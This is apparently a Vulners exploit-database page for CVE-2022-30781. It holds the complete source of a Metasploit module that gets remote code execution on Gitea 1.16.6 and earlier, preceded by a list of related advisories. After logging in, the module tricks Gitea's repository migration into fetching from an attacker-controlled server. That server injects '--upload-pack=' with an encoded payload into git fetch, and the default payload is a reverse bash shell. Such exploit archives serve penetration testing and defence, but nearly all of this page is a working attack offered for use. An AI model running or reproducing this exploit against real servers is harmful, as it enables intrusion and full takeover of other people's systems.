| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| Gitea 1.16.6 - Remote Code Execution Exploit | 15 Sep 202200:00 | – | zdt | |
| Gitea Git Fetch Remote Code Execution Exploit | 17 Nov 202200:00 | – | zdt | |
| Exploit for Improper Encoding or Escaping of Output in Gitea | 22 May 202205:15 | – | githubexploit | |
| CVE-2022-30781 | 16 May 202204:15 | – | attackerkb | |
| CVE-2022-30781 | 16 May 202200:00 | – | alpinelinux | |
| CVE-2022-30781 | 15 Sep 202200:00 | – | circl | |
| Gitea 安全漏洞 | 16 May 202200:00 | – | cnnvd | |
| CVE-2022-30781 | 16 May 202200:00 | – | cve | |
| CVE-2022-30781 | 16 May 202200:00 | – | cvelist | |
| Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit) | 15 Sep 202200:00 | – | exploitdb |
`# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005 & li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'keep_cookies' => true
)
return CheckCode::Unknown('No response from the web service') if res.nil?
return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
# Powered by Gitea Version: 1.16.6
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
return CheckCode::Unknown('Target does not appear to be running Gitea.')
end
if match[:version].match(/[a-zA-Z]/)
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'vars_post' => {
'user_name' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
return CheckCode::Safe('Authentication failed') if res&.code != 302
if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{match[:version]}")
end
CheckCode::Safe("Version detected: #{match[:version]}")
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def primer
['/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
vprint_status("Creating repository \"#{@repo_name}\"")
gitea_create_repo
vprint_good('Repository created')
vprint_status("Migrating repository")
gitea_migrate_repo
end
def exploit
@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
datastore['URIPATH'] = "/#{@migrate_repo_path}"
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
[@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
cleanup # removing all resources
end
def get_csrf(cookies)
csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
csrf
end
def gitea_remove_repo(name)
vprint_status("Cleanup: removing repository \"#{name}\"")
uri = "/#{datastore['username']}/#{name}/settings"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'action' => 'delete',
'repo_name' => name,
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
vprint_warning('Unable to remove repository') if res&.code != 302
end
def gitea_create_repo
uri = normalize_uri(target_uri.path, '/repo/create')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
@uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'auto_init' => 'on',
'readme' => 'Default',
'repo_name' => @repo_name,
'trust_model' => 'default',
'default_branch' => 'master',
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def gitea_migrate_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
'keep_cookies' => true
)
uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri
svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'service' => svc_type,
'pull_requests' => 'on',
'repo_name' => @migrate_repo_name,
'_csrf' => get_csrf(res.get_cookies),
'auth_token' => rand_text_alphanumeric(6..15),
'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
},
'keep_cookies' => true
)
if res&.code != 302 # possibly triggered by the [migrations] settings
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
gitea_remove_repo(@repo_name)
cleanup
fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
end
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
'max_response_items':50,'default_paging_num':30,
'default_git_trees_per_page':1000,'default_max_blob_size':10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
"clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
"owner": { "login": datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
"base": {
"ref": "master",
},
"head": {
"ref": "--upload-pack=#{payload.encoded}",
"repo": {
"clone_url": "./",
"owner": { "login": "master" },
}
},
"updated_at": "2001-01-01T05:00:00+01:00",
"user": {}
}
]
send_response(cli, data.to_json)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation